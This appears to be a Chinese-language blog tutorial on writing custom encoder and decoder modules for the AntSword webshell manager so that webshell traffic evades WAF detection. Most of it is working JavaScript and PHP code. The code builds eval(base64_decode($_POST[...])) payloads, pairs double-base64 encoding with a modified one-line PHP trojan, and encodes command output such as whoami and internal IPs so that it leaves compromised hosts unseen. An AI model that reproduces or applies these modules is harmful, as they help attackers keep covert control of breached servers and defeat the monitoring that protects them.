壹 前言
之前一直不知道蚁剑的编码器和解码器有什么用,后来看一篇文章,才知道,原来可以通过对蚁剑的编码器和解码器对webshell进行改造过WAF,然后就开始找各种资料学习,下面是对这两个模块学习的心得!
贰 编码模块
以蚁剑的base64编码器为例子。创建一个base64模块:
/**
* php::base64编码器
* Create at: 2022/07/10 22:27:09
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data[randomID] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete `data['_'];`
// 返回编码器处理后的 payload 数组
return data;
}
这是蚁剑的base64编码的默认代码,我们使用简单的PHP一句话木马通过刚刚创建的编码器进行连接,并抓包效果如下:
可以发现,数据包分为两部分,一部分是随机变量(例子中的_0xb928a21aee0de
),另一部分是木马的密码(例子中的cmd
),在刚刚创建的编码器中模板已经说明了,二个传递参数和返回值的作用,我们来具体分析:
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
这一段是生成一个随机的变量名,也就是例子中的_0xb928a21aee0de
,存在randomID
这个变量里
data[randomID] = Buffer.from(data['_']).toString('base64');
这一段是对data['_']
,也就是payload
进行base64
编码,并存在data
这个数组的randomID
键值里,(JS是弱语言,所以可以随便加键值对)
data[pwd] = `eval(base64_decode($_POST[${randomID}]));`;
这一段则是对randomID
这个随机变量存储的payload
进行base64
解码,并执行新的一句话,并存储在data[pwd]
中。
其实蚁剑最后会将data['_'];
参数进行删除,就算在编码器内不删除,在蚁剑的源码内也会将data['_'];
进行删除操作,即在source\core\base.js
内可以看到:
最后蚁剑都会执行data[pwd]
的内容,所以关键就在data[pwd]
这个键值对。当蚁剑传输给被控主机时,实际上是套娃,将data[pwd]
传给服务端的一句话木马中,服务端的一句话木马执行蚁剑传过来的base64
一句话木马,当执行完base64一句话木马后才是真正的payload
。所以由于套娃,传入的是两部分参数,接着我们可以对其进行简单的双重base64
编码,并且值设置一个参数。
如果我们只传一个参数,那么就需要在木马本身进行加密改造,也就是说取消了对payload
的解码,让木马自身携带解码功能,即我们在木马上进行两次base64
解码:
然后修改编码器,:
/**
* php::base64编码器
* Create at: 2022/07/10 22:27:09
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 由于我们希望蚁剑传递的参数不需要解密,所以不用设置随机变量名,我们直接将编码后的payload赋值到data[pwd]中,就不需要进行随机变量名这个键值对了,注意我们是进行两次base64加密
data['_'] = Buffer.from(data['_']).toString('base64');
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
可以看到进行了两次的base64
编码:
叁 解码模块
需要注意编码模块和解码模块是分离开的,编码模块是执行命令到服务器上,防止WAF检测到恶意payload,但是执行完的信息在服务器上是明文的,而解码模块是将明文的信息进行编码传到蚁剑过程中防止WAF检测到敏感数据而进行的模块。并不是说需要用编码器将payload进行编码到了服务器上解码器进行解码。
在返回参数信息时,WAF检测流量会追踪一些敏感信息,例如whoami
、内网IP等,这是我们可以对返回的敏感信息进行编码,传给蚁剑的时候进行解码。以base64解码器为例子:
/**
* php::base64解码器
* Create at: 2022/07/10 23:21:01
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
还是先抓包:
可以看见返回的信息在burp
上是base64
的,而在蚁剑的终端上明文的,而且与编码器没有任何关系。接着我们具体分析以下解码模块的代码。
asoutput: () => {
return `function asenc($out){
return @base64_encode($out);
}
`.replace(/\n\s+/g, '');
},
这一部分是蚁剑的payload
的返回值部分(关于蚁剑的payload
这里不具体说明),我们需要关注的是return @base64_encode($out);
这一部分,可以看到对返回蚁剑终端的信息进行了base64
编码。
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
这一部分是在蚁剑的终端对返回的数据进行base64
解码,假设我们将data.toString()
直接返回,可以发现,终端是对信息进行了base64
输出的:
所以老样子,根据原理我们可以设置双重base64
解码器,编码器代码:
/**
* php::base64解码器
* Create at: 2022/07/10 23:21:01
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc 将返回数据base64编码
* 自定义输出函数名称必须为 asenc
* 该函数使用的语法需要和shell保持一致
*/
asoutput: () => {
return `function asenc($out){
return @base64_encode(base64_encode($out));
}
`.replace(/\n\s+/g, '');
},
/**
* 解码 Buffer
* @param {string} data 要被解码的 Buffer
* @returns {string} 解码后的 Buffer
*/
decode_buff: (data, ext={}) => {
let top1 = Buffer.from(data.toString(), 'base64');
return Buffer.from(top1.toString(), 'base64');
}
}
将asoutput
部分进行了双重base64
编码,而decode_buff
进行了双重base64
解码,最后效果如下: